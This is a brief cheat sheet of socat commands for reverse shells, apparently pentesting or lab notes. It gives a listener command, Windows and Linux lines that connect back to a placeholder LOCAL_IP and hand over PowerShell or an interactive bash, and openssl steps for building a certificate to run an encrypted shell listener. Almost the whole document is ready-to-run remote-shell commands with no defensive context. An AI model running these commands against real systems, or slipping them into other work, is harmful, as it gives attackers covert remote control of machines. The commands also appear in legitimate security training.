SOCAT

Setup listener:

socat TCP-L:PORT -

Windows:

socat TCP:LOCAL_IP:LOCAL_PORT EXEC:powershell.exe,pipes

Linux:

socat TCP:LOCAL_IP:LOCAL_PORT EXEC:"bash -li"

Encrypted shells

1)

openssl req --newkey rsa:2048 -nodes -keyout SHELL.KEY -x509 -days 362 -out SHELL.CRT

2)

cat SHELL.KEY SHELL.CRT > SHELL.PEM

3)

socat OPENSSL-LISTEN:PORT,cert=SHELL.PEM,verify=0 -